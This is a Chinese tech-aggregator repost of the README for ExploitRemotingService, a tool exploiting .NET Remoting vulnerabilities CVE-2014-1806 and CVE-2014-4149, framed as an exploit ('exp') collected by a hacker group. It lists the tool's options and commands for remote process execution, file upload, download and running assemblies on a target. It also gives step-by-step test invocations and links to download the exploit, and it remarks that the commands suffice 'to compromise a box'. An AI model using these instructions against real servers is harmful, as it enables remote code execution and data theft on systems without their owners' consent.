码迷,mamicode.com
首页 > Web开发 > 详细

.NET 远程服务远程执行漏洞(exp) 中国寒龙收集整理首发

时间:2014-12-19 00:36:32      阅读:267      评论:0      收藏:0      [点我收藏+]

标签:http   ar   io   os   sp   for   on   div   2014   

Source: https://github.com/tyranid/ExploitRemotingService
Exploit Database Mirror: http://www.exploit-db.com/sploits/35280.zip
  
ExploitRemotingService (c) 2014 James Forshaw
=============================================
  
A tool to exploit .NET Remoting Services vulnerable to CVE-2014-1806 or CVE-2014-4149.
It only works on Windows although some aspects _might_ work in Mono on *nix.
  
Usage Instructions:
===================
  
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014
  
Uri:
The supported URI are as follows:
tcp://host:port/ObjName   - TCP connection on host and portname
ipc://channel/ObjName     - Named pipe channel
  
Options:
  
  -s, --secure               Enable secure mode
  -p, --port=VALUE           Specify the local TCP port to listen on
  -i, --ipc=VALUE            Specify listening pipe name for IPC channel
      --user=VALUE           Specify username for secure mode
      --pass=VALUE           Specify password for secure mode
      --ver=VALUE            Specify version number for remote, 2 or 4
      --usecom               Use DCOM backchannel instead of .NET remoting
      --remname=VALUE        Specify the remote object name to register
  -v, --verbose              Enable verbose debug output
      --useser               Uses old serialization tricks, only works on
                             full type filter services
  -h, -?, --help
  
Commands:
exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd  cmdline                  : Execute a command line process and display stdou
t
put  localfile remotefile     : Upload a file to the hosting server
get  remotefile localfile     : Download a file from the hosting server
ls   remotedir                : List a remote directory
run  file [args]              : Upload and execute an assembly, calls entry point
user                          : Print the current username
ver                           : Print the OS version
  
This tool supports exploit both TCP remoting services and local IPC services. To test 
the exploit you need to know the name of the .NET remoting service and the port it‘‘s
listening on (for TCP) or the name of the Named Pipe (for IPC). You can normally find 
this in the server or client code. Look for things like calls to:
  
RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance
  
You can then try the exploit by constructing an appropriate URL. If TCP you can use the 
URL format tcp://hostname:port/ServiceName. For IPC use ipc://NamedPipeName/ServiceName. 
  
A simple test is to do:
  
ExploitRemotingService SERVICEURL ver
  
If successful it should print the OS version of the hosting .NET remoting service. If 
you get an exception it might be fixed with CVE-2014-1806. At this point try the COM 
version using:
  
ExploitRemotingService -usecom SERVICEURL ver
  
This works best locally but can work remotely if you modify the COM configuration and
disable the firewall you should be able to get it to work. If that still doesn‘‘t work
then it might be an up to date server. Instead you can also try the full serialization 
version using.
  
ExploitRemotingService -useser SERVICEURL ls c:\
  
For this to work the remoting service must be running with full typefilter mode enabled
(which is some, especially IPC services). It also only works with the commands ls, put
and get. But that should be enough to compromise a box. 
  

I‘‘ve provided an example service to test against.


下载地址:http://pan.baidu.com/s/1s9BdW

.NET 远程服务远程执行漏洞(exp) 中国寒龙收集整理首发

标签:http   ar   io   os   sp   for   on   div   2014   

原文地址:http://www.cnblogs.com/Hkadmin/p/4172973.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!